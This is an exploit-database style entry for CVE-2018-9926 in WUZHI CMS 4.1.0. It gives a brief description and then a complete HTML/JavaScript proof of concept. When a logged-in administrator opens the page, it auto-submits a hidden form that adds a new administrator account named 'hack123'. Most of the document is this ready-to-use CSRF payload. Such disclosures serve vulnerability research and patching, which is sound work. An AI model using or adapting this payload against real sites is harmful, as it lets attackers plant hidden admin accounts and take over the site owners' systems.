# Exploit Title: WUZHI CMS 4.1.0 CSRF vulnerability add admin account
# Date: 2018-04-10
# Exploit Author: taoge
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0
# CVE : CVE-2018-9926
An issue was discovered in WUZHI CMS 4.1.0.（https://github.com/wuzhicms/wuzhicms/issues/128）
There is a CSRF vulnerability that can add an admin account via index.php?m=core&f=power&v=add.
After the administrator logged in, open the csrf exp page.
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='form[role][]' value='1' />";
fields += "<input type='hidden' name='form[username]' value='hack123' />";
fields += "<input type='hidden' name='form[password]' value='' />";
fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />";
var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=taoge";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>
